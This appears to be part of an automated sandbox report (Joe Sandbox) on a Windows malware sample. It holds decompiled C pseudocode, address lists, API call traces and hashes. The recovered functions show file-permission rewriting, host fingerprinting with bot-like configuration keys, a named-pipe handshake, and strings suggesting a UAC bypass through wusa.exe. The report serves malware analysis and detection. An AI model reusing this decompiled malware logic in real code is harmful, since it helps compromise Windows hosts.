													_t24 =  *_t31;
													if(_t24 != 0xd && _t24 != 0xa) {
														goto L30;
													}
													_t31 = _t31 + 1;
												}
												goto L30;
											}
											_t25 =  &(_t25[1]);
										}
										if( *_t25 != 0x20) {
											_t25 = 0;
											goto L26;
										}
										goto L22;
									}
									goto L15;
								}
								goto L20;
							} else {
								goto L10;
							}
							do {
								L10:
								_t25 =  &(_t25[1]);
							} while ( *_t25 == 0x20);
							goto L16;
						}
					}
					_t31 = E0040ED03(_t42, 0xa);
					if(_t31 != 0) {
						goto L6;
					}
					_t29 = _t42;
					_t5 = _t29 + 1; // 0x409689
					_t41 = _t5;
					do {
						_t40 =  *_t29;
						_t29 = _t29 + 1;
					} while (_t40 != 0);
					_t31 = _t29 - _t41 + _t42;
					goto L6;
					L30:
					_t42 = _t31;
					if( *_t31 != 0) {
						Sleep(0x1f4); // executed
					}
					_v8 = _v8 + 1;
				} while ( *_t31 != 0);
				goto L33;
			}

0x004091f4
0x004091fb
0x00409201
0x00409208
0x00409308
0x00000000
0x00000000
0x00000000
0x00000000
0x0040920e
0x0040920e
0x00409216
0x0040921c
0x0040923f
0x00409241
0x00409249
0x0040924b
0x0040924b
0x00409259
0x0040925e
0x00409261
0x00409270
0x00000000
0x00409272
0x00409279
0x0040927f
0x00000000
0x0040929b
0x0040928e
0x0040928e
0x0040928f
0x00409293
0x00000000
0x00000000
0x0040928c
0x0040929a
0x0040929a
0x00000000
0x0040929a
0x0040928c
0x00409298
0x00000000
0x004092a8
0x004092a5
0x004092b2
0x004092b2
0x004092b5
0x004092b5
0x004092b6
0x004092bf
0x004092cf
0x004092d5
0x004092db
0x00409319
0x0040931f
0x00000000
0x00000000
0x00000000
0x00000000
0x004092dd
0x004092dd
0x004092dd
0x004092e1
0x00000000
0x00000000
0x004092e7
0x004092e7
0x00000000
0x004092dd
0x004092a7
0x004092a7
0x004092b0
0x004092bd
0x00000000
0x004092bd
0x00000000
0x004092b0
0x00000000
0x00409298
0x00000000
0x00000000
0x00000000
0x00000000
0x00409281
0x00409281
0x00409281
0x00409282
0x00000000
0x00409287
0x00409270
0x00409226
0x0040922c
0x00000000
0x00000000
0x0040922e
0x00409230
0x00409230
0x00409233
0x00409233
0x00409235
0x00409236
0x0040923c
0x00000000
0x004092ea
0x004092ed
0x004092ef
0x004092f6
0x004092f6
0x004092fc
0x004092ff
0x00000000

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNELBASE(000001F4,00000000,00000000,000000C8), ref: 004092F6

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction ID: 162d7f392e51f347a0f03a95c4dfe3fd2355f2c09eeccb2d2824a4f222a18d72
Opcode Fuzzy Hash: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction Fuzzy Hash: 7D41EE718083497EEB269664988C7E73BA49B52310F2809FFD492B72D3D7BC4D818759

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCC, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040EBCC(long _a4) {
				void* _t3;
				void* _t7;

				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t3;
				E0040EB74(_t7);
				return _t7;
			}

0x0040ebda
0x0040ebe0
0x0040ebe3
0x0040ebec

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0x5c9d7bdc
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x61616161;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0x5c9d7bdc
				}
				return _t6;
			}

0x00406dc5
0x00406dd5
0x00406de4
0x00406dea
0x00406df1
0x00406df4
0x00406df4
0x00406df6
0x00406df7
0x00406e00
0x00406e24
0x00406e24
0x00406e02
0x00406e14
0x00406e1a
0x00406e22
0x00000000
0x00000000
0x00406e22
0x00406e2e
0x00406e2e
0x00406e35

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32 ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction ID: 46d685041afc82653286dae93d5fe3173771f16ecf38a4b71df535c97c95e6ed
Opcode Fuzzy Hash: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction Fuzzy Hash: 55F028B9104218AFD710DB68DDC5ED777ADD704308F008476E242E3141D6B89D984B5C

Uniqueness

Uniqueness Score: -1.00%

Function 005307A6, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 005307EE

Memory Dump Source

Source File: 0000001E.00000002.411721168.0000000000530000.00000040.00000001.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_530000_952.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 2a049595326097830ffd434e032aa1e7b89471afc7debe5dcddc0a229b912db2
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 0DF06D322017156BE7203AB9A89DA6F7BE8FF89765F101528E642920C0DAB0F8458A61

Uniqueness

Uniqueness Score: -1.00%

Function 00530465, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 005304B6

Memory Dump Source

Source File: 0000001E.00000002.411721168.0000000000530000.00000040.00000001.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_530000_952.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 65363229aa5d9e0f7056bc36345532fa00e747c09c57f64967f3a62b089b4861
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 10112B79A40208EFDB01DF98C985E98BFF5AF08750F058094FA489B362D371EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407809, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407809(CHAR* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _ACL* _v20;
				signed int _v24;
				int _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				void _v128;
				char _v384;
				char _v512;
				struct _SECURITY_DESCRIPTOR _v1536;
				struct _ACL* _t110;
				int _t120;
				intOrPtr _t121;
				signed int _t123;
				signed int _t141;
				char* _t146;
				signed int _t153;
				void* _t154;
				void* _t155;
				void* _t156;

				_t141 = 0;
				_v28 = 0;
				_v20 = 0;
				_v36 = 0x80;
				if(GetUserNameA( &_v384,  &_v36) == 0) {
					L42:
					return _v28;
				}
				_v32 = 0x44;
				_v40 = 0x80;
				if(LookupAccountNameA(0,  &_v384,  &_v128,  &_v32,  &_v512,  &_v40,  &_v56) == 0) {
					goto L42;
				}
				_v32 = GetLengthSid( &_v128);
				_v44 = 0x400;
				if(GetFileSecurityA(_a4, 5,  &_v1536, 0x400,  &_v44) == 0) {
					goto L42;
				} else {
					if(GetSecurityDescriptorOwner( &_v1536,  &_v16,  &_v48) != 0) {
						_v36 = 0x80;
						_v40 = 0x80;
						if(EqualSid( &_v128, _v16) == 0) {
							_v28 = 1;
							_t155 = LocalAlloc(0x40, 0x14);
							if(_t155 != 0) {
								LocalFree(_t155);
							}
						}
					}
					_v24 = _t141;
					if(GetSecurityDescriptorDacl( &_v1536,  &_v60,  &_v20,  &_v52) == 0) {
						L41:
						goto L42;
					}
					_t110 = _v20;
					if(_t110 == _t141) {
						goto L41;
					}
					_v8 = _v8 & _t141;
					if(0 >= _t110->AceCount) {
						goto L41;
					} else {
						goto L13;
					}
					do {
						L13:
						if(GetAce(_t110, _v8,  &_v12) == 0) {
							L32:
							_v8 = _v8 + 1;
							goto L33;
						}
						_t153 = 0;
						_v16 = _v12 + 8;
						if(_t141 <= 0) {
							L19:
							if(_t141 < 0x20) {
								 *((intOrPtr*)(_t156 + _t141 * 4 - 0xfc)) = _v16;
								_t141 = _t141 + 1;
							}
							_t120 = EqualSid( &_v128, _v16);
							_t146 = _v12;
							if(_t120 == 0) {
								_t121 = 0x1200a8;
							} else {
								asm("sbb eax, eax");
								_t121 = ( ~_a8 & 0x00090046) + 0x1601b9;
							}
							if( *((intOrPtr*)(_t146 + 4)) != _t121) {
								 *((intOrPtr*)(_t146 + 4)) = _t121;
								_t146 = _v12;
								_v24 = 1;
							}
							if( *_t146 != 0 || ( *(_t146 + 1) & 0x00000010) != 0) {
								 *_t146 = 0;
								_t66 = _v16 + 8; // 0xc8685f74
								_t123 =  *_t66;
								if(_t123 != 0) {
									 *((char*)(_v12 + 1)) = (_t123 & 0xffffff00 | _t123 - 0x00000050 > 0x00000000) + 2;
								} else {
									 *((char*)(_v12 + 1)) = 0xb;
								}
								_v24 = 1;
							}
							goto L32;
						}
						while(EqualSid( *(_t156 + _t153 * 4 - 0xfc), _v16) == 0) {
							_t153 = _t153 + 1;
							if(_t153 < _t141) {
								continue;
							}
							break;
						}
						if(_t153 >= _t141) {
							goto L19;
						}
						DeleteAce(_v20, _v8);
						_v24 = 1;
						L33:
						_t110 = _v20;
					} while (_v8 < (_t110->AceCount & 0x0000ffff));
					if(_v24 != 0) {
						_v28 = 1;
						_t154 = LocalAlloc(0x40, 0x14);
						if(_t154 != 0) {
							if(InitializeSecurityDescriptor(_t154, 1) != 0 && SetSecurityDescriptorDacl(_t154, 1, _v20, 0) != 0 && SetFileSecurityA(_a4, 4, _t154) != 0) {
								_v28 = 1;
							}
							LocalFree(_t154);
						}
					}
					goto L41;
				}
			}

0x0040781e
0x00407826
0x00407829
0x0040782c
0x00407837
0x00407a8e
0x00407a94
0x00407a94
0x0040785c
0x00407863
0x0040786e
0x00000000
0x00000000
0x0040787e
0x0040788b
0x004078a2
0x00000000
0x004078a8
0x004078c3
0x004078cc
0x004078cf
0x004078da
0x004078e0
0x004078e9
0x004078ed
0x00407917
0x00407917
0x004078ed
0x004078da
0x00407930
0x0040793b
0x00407a8d
0x00000000
0x00407a8d
0x00407941
0x00407946
0x00000000
0x00000000
0x0040794c
0x00407955
0x00000000
0x00000000
0x00000000
0x00000000
0x0040795b
0x0040795b
0x0040796b
0x00407a2a
0x00407a2a
0x00000000
0x00407a2a
0x00407977
0x00407979
0x0040797e
0x004079ae
0x004079b1
0x004079b6
0x004079bd
0x004079bd
0x004079c5
0x004079cb
0x004079d0
0x004079e5
0x004079d2
0x004079d7
0x004079de
0x004079de
0x004079ed
0x004079ef
0x004079f2
0x004079f5
0x004079f5
0x004079fb
0x00407a03
0x00407a09
0x00407a09
0x00407a0e
0x00407a24
0x00407a10
0x00407a13
0x00407a13
0x00407a27
0x00407a27
0x00000000
0x004079fb
0x00407980
0x00407994
0x00407997
0x00000000
0x00000000
0x00000000
0x00407997
0x0040799b
0x00000000
0x00000000
0x004079a3
0x004079a9
0x00407a2d
0x00407a2d
0x00407a34
0x00407a41
0x00407a47
0x00407a50
0x00407a54
0x00407a60
0x00407a83
0x00407a83
0x00407a87
0x00407a87
0x00407a54
0x00000000
0x00407a41

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 30.2, APIs: 9, Strings: 8, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0040139A
lstrlenW.KERNEL32(-00000003), ref: 00401571

Strings

%systemroot%\system32\cmd.exe, xrefs: 00401316
<, xrefs: 00401378
wusa.exe, xrefs: 00401388
useless, xrefs: 0040161E
uac, xrefs: 00401628
@, xrefs: 00401380
D, xrefs: 004015C6
, xrefs: 00401462

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$uac$useless$wusa.exe
API String ID: 1628651668-1839596206
Opcode ID: 9ef1321a1e1d9c78f3d30e1d459132d88e2f3284e8fef4d604118405fd41c31e
Instruction ID: 915494465e6448ea0d8334ed2feda226c725056e28db06d0983f622db304c09c
Opcode Fuzzy Hash: 9ef1321a1e1d9c78f3d30e1d459132d88e2f3284e8fef4d604118405fd41c31e
Instruction Fuzzy Hash: E5F19FB55083419FD720DF64C888BABB7E5FB88304F10892EF596A73A0D778D944CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401D96, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 205
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00401D96(void* __ecx, intOrPtr* _a4) {
				struct _OSVERSIONINFOA _v156;
				struct _SYSTEM_INFO _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _t59;
				signed int _t61;
				signed int _t63;
				void* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				signed int _t71;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				intOrPtr* _t103;
				intOrPtr* _t105;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;

				_t105 = _a4;
				_t102 = 0x64;
				E0040EE2A(__ecx, _t105, 0, _t102);
				_t109 =  &_v200 + 0xc;
				 *_t105 = _t102;
				_v156.dwOSVersionInfoSize = 0x9c;
				if(GetVersionExA( &_v156) == 0) {
					 *((char*)(_t105 + 0x41)) = 0;
				} else {
					 *((char*)(_t105 + 0x41)) = (_v156.dwMajorVersion << 4) + _v156.dwMinorVersion;
				}
				GetSystemInfo( &_v192);
				 *((char*)(_t105 + 0x3f)) = _v192.dwNumberOfProcessors;
				_v196 = 0;
				_t103 = GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
				if(_t103 != 0) {
					 *_t103(GetCurrentProcess(),  &_v196);
				}
				_t104 = "localcfg";
				 *((char*)(_t105 + 0x40)) = 2;
				_t59 = E0040E819(1, "localcfg", "lid_file_upd", 0);
				_t92 = "flags_upd";
				 *((intOrPtr*)(_t105 + 0x24)) = _t59;
				 *(_t105 + 4) =  *(_t105 + 4) | E0040E819(1, "localcfg", "flags_upd", 0);
				_t61 =  *(_t105 + 4);
				_t110 = _t109 + 0x20;
				if((_t61 & 0x00000008) != 0) {
					 *(_t105 + 4) = _t61 & 0xfffffff7;
					E0040DF70(1, "work_srv");
					E0040DF70(1, "start_srv");
					_t110 = _t110 + 0x10;
				}
				E0040EA84(1, _t104, _t92, 0);
				_t93 = 0;
				_t63 = E0040E819(1, _t104, "net_type", 0);
				_t111 = _t110 + 0x20;
				 *(_t105 + 0x14) = _t63;
				if(E0040199C(_t63) == 0) {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000010;
				} else {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000020;
				}
				_t65 = E0040E819(1, _t104, "born_date", _t93);
				_t112 = _t111 + 0x10;
				 *((intOrPtr*)(_t105 + 0x30)) = _t93;
				if(_t65 == _t93) {
					_t97 = E0040F04E(_t93);
					E0040EA84(1, _t104, "born_date", _t97);
					_t112 = _t112 + 0x14;
					 *((intOrPtr*)(_t105 + 0x30)) = _t97;
					_t93 = 0;
				}
				_t94 = "id";
				_t66 = E0040E819(1, _t104, "id", _t93);
				_t113 = _t112 + 0x10;
				 *((intOrPtr*)(_t105 + 0xc)) = _t66;
				if(_t66 == 0) {
					_v200 = E00401B71();
					E0040EA84(1, _t104, _t94, _t77);
					_t113 = _t113 + 0x10;
					 *((intOrPtr*)(_t105 + 0xc)) = _v200;
				}
				_t95 = "hi_id";
				_t67 = E0040E819(1, _t104, "hi_id", 0);
				_t114 = _t113 + 0x10;
				 *((intOrPtr*)(_t105 + 0x10)) = _t67;
				if(_t67 == 0) {
					_v200 = E00401BDF();
					E0040EA84(1, _t104, _t95, _t74);
					_t114 = _t114 + 0x10;
					 *((intOrPtr*)(_t105 + 0x10)) = _v200;
				}
				 *((intOrPtr*)(_t105 + 8)) = 0x61;
				_t96 = E0040E819(1, _t104, "loader_id", 0);
				if(_t96 == 0) {
					_t96 = 8;
					E0040EA84(1, _t104, "loader_id", _t96);
				}
				 *((intOrPtr*)(_t105 + 0x1c)) = _t96;
				 *((intOrPtr*)(_t105 + 0x34)) = E004030B5();
				if( *0x41201d == 0) {
					if( *0x41201f == 0) {
						 *(_t105 + 0x18) =  *(_t105 + 0x18) & 0x00000000;
					} else {
						if(E00406EC3() != 0) {
							 *(_t105 + 0x18) = 2;
						} else {
							 *(_t105 + 0x18) = 0x10;
						}
					}
				} else {
					 *(_t105 + 0x18) = 1;
				}
				if(_v196 != 0) {
					 *(_t105 + 0x18) =  *(_t105 + 0x18) | 0x00000200;
				}
				_t71 = GetTickCount() / 0x3e8;
				 *0x412110 = _t71;
				 *(_t105 + 0x28) = _t71;
				return _t71;
			}

0x00401d9f
0x00401da9
0x00401daf
0x00401db4
0x00401dbc
0x00401dbe
0x00401dce
0x00401de0
0x00401dd0
0x00401ddb
0x00401ddb
0x00401de8
0x00401dfc
0x00401dff
0x00401e10
0x00401e14
0x00401e22
0x00401e22
0x00401e2a
0x00401e34
0x00401e38
0x00401e3e
0x00401e46
0x00401e4e
0x00401e51
0x00401e54
0x00401e59
0x00401e64
0x00401e67
0x00401e72
0x00401e77
0x00401e77
0x00401e7f
0x00401e84
0x00401e8e
0x00401e93
0x00401e96
0x00401ea0
0x00401ea8
0x00401ea2
0x00401ea2
0x00401ea2
0x00401eb4
0x00401eb9
0x00401ebc
0x00401ec1
0x00401ec9
0x00401ed3
0x00401ed8
0x00401edb
0x00401ede
0x00401ede
0x00401ee1
0x00401ee9
0x00401eee
0x00401ef1
0x00401ef6
0x00401f01
0x00401f05
0x00401f0e
0x00401f11
0x00401f11
0x00401f16
0x00401f1e
0x00401f23
0x00401f26
0x00401f2b
0x00401f36
0x00401f3a
0x00401f43
0x00401f46
0x00401f46
0x00401f52
0x00401f5e
0x00401f65
0x00401f69
0x00401f72
0x00401f77
0x00401f7a
0x00401f82
0x00401f8c
0x00401f9a
0x00401fb7
0x00401f9c
0x00401fa3
0x00401fae
0x00401fa5
0x00401fa5
0x00401fa5
0x00401fa3
0x00401f8e
0x00401f8e
0x00401f8e
0x00401fc0
0x00401fc2
0x00401fc2
0x00401fd6
0x00401fd9
0x00401fde
0x00401fea

APIs

GetVersionExA.KERNEL32 ref: 00401DC6
GetSystemInfo.KERNEL32(?), ref: 00401DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 00401E03
GetProcAddress.KERNEL32(00000000), ref: 00401E0A
GetCurrentProcess.KERNEL32(?), ref: 00401E1B
GetTickCount.KERNEL32 ref: 00401FC9

Part of subcall function 00401BDF: GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15

Strings

net_type, xrefs: 00401E87
hi_id, xrefs: 00401F16, 00401F1B, 00401F33
start_srv, xrefs: 00401E6C
loader_id, xrefs: 00401F4B, 00401F6B
flags_upd, xrefs: 00401E3E, 00401E43, 00401E7C
lid_file_upd, xrefs: 00401E25
born_date, xrefs: 00401EAD, 00401ECC
work_srv, xrefs: 00401E5E
localcfg, xrefs: 00401E2A, 00401E31, 00401E44, 00401E7D, 00401E8C, 00401EB2, 00401ED1, 00401EE7, 00401EFF, 00401F1C, 00401F34, 00401F50, 00401F70
kernel32, xrefs: 00401DF7
IsWow64Process, xrefs: 00401DF2

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv
API String ID: 4207808166-1381319158
Opcode ID: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction ID: 54c1e59e0de162fea3d0b4a588507db8dabc792a1e082174f42e6dfe58141249
Opcode Fuzzy Hash: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction Fuzzy Hash: 3651FA705003446FD330AF768C85F67BAECEB84708F00493FF955A2292D7BDA94487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040405E, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040405E(void* __ecx) {
				unsigned int _v8;
				unsigned int _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* _t40;
				void* _t43;
				void* _t49;
				void* _t56;
				void* _t62;
				void* _t64;
				long _t71;
				void* _t82;
				void* _t92;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t104;

				_t95 = __ecx;
				_v8 = 0;
				_t40 = CreateEventA(0, 1, 1, 0);
				_v16 = _t40;
				if(_t40 != 0) {
					_t43 = E00404000(E00403ECD(_t95),  &_v20);
					_t97 = _t98;
					_t102 = 0x7d0;
					_t92 = 0x100;
					_t99 = 0x4122f8;
					if(_t43 == 0) {
						L10:
						E0040EE2A(_t97, _t99, 0, _t92);
						_t104 = _t103 + 0xc;
						_t93 = 0xa;
						while(1) {
							_t93 = _t93 - 1;
							_t99 = CreateNamedPipeA(E00403ECD(_t97), 0x40000003, 0, 0xff, 0x64, 0x64, 0x64, 0);
							if(_t99 != 0xffffffff) {
								break;
							}
							Sleep(0x1f4);
							if(_t93 != 0) {
								continue;
							}
							CloseHandle(_v16);
							return 0;
						}
						L14:
						while(1) {
							do {
								L14:
								while(1) {
									do {
										if(ConnectNamedPipe(_t99, 0) != 0) {
											goto L16;
										}
										_t71 = GetLastError();
										asm("sbb eax, eax");
										if( ~(_t71 - 0x217) + 1 == 0) {
											L25:
											DisconnectNamedPipe(_t99);
											continue;
										}
										L16:
										_t49 = E00403F8C(_t99,  &_v12, 4, _v16, _t102);
										_t104 = _t104 + 0x14;
									} while (_t49 == 0);
									_t92 = _v16;
									_v8 = (_v12 >> 2) + _v12;
									E00403F18(_t99,  &_v8, 4, _t92, _t102);
									_t56 = E00403F8C(_t99,  &_v12, 4, _t92, _t102);
									_t104 = _t104 + 0x28;
									if(_t56 == 0 || _v12 != (_v8 >> 2) + _v8) {
										goto L25;
									} else {
										_t62 = E00403F8C(_t99,  &_v28, 8, _t92, _t102);
										_t104 = _t104 + 0x14;
										if(_t62 == 0 || _v24 != 0xc) {
											goto L25;
										} else {
											_t64 = E00403F8C(_t99,  &_v40, 0xc, _t92, _t102);
											_t104 = _t104 + 0x14;
											if(_t64 == 0) {
												goto L25;
											}
											break;
										}
									}
								}
							} while (_v28 != 1);
							E00403F18(_t99,  &_v8, 4, _t92, _t102);
							_t103 = _t104 + 0x14;
							if(_v32 == 0) {
								_t102 = CloseHandle;
								CloseHandle(_t99);
								CloseHandle(_t92);
								E0040E318();
								L8:
								ExitProcess(0);
							}
							 *0x41215a =  *0x41215a + 1;
						}
					}
